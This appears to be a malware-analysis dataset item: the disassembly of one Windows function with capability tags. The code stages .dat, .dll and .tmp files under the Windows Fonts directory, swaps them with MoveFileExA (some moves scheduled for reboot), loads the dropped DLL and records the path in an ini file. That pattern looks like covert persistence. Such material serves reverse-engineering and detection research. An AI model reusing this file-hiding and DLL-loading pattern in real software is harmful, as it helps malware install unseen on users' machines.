Function at 0x401380
Capabilities:
Get common file path
Move file
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x728
push ebx
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x41c]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [ebp - 0x318]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x728]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea ecx, [ebp - 0x110]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea edi, [ebp - 0x110]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x41c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x41c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Fontsd091015.dat
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pushal
popal
lea eax, [ebp - 0x41c]
lea ecx, [ebp - 0x318]
push eax
push 0x104
push ecx
push 0
push 0x403068
push str.LocalSetting
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
test eax, eax
je 0x4014f8
lea edx, [ebp - 0x318]
push edx
call fcn.00401330
add esp, 4
test eax, eax
jne 0x4014f8
mov ecx, 0x41
lea edi, [ebp - 0x624]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x318]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x624]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x624]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..dat
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [ebp - 0x624]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x318]
push ecx
call sub.MSVCRT.dll_rename
add esp, 8
lea edx, [ebp - 0x624]
push 5
push 0
push edx
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
mov edi, str.Fonts_
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x110]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.004011b0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x110]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x214]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x110]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x214]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..dll
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x520]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x110]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [ebp - 0x520]
rep movsb byte es:[edi], byte [esi]
mov edi, str..tmp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [ebp - 0x520]
and ecx, 3
push eax
push 0x403034
push 0x65
rep movsb byte es:[edi], byte [esi]
call fcn.00401200
add esp, 0xc
test eax, eax
je 0x401742
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [ebp - 0x214]
push 1
lea edx, [ebp - 0x520]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
test eax, eax
je 0x40170c
call fcn.00401280
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov ebx, dword [eax + 0x30]
or ecx, 0xffffffff
mov edi, 0x403030
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0xc]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40302c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0xc]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x403030
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0xc]
mov ecx, edx
push eax
and ecx, 3
push 0
push 1
rep movsb byte es:[edi], byte [esi]
push 0
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
test ebx, ebx
mov esi, eax
je 0x4016fe
push 0x4f5da2
call ebx
push 0x7530
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
jmp 0x401724
pushal
popal
lea ecx, [ebp - 0x214]
push 5
lea edx, [ebp - 0x520]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
lea eax, [ebp - 0x41c]
lea ecx, [ebp - 0x214]
push eax
push ecx
push 0x403068
push str.LocalSetting
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10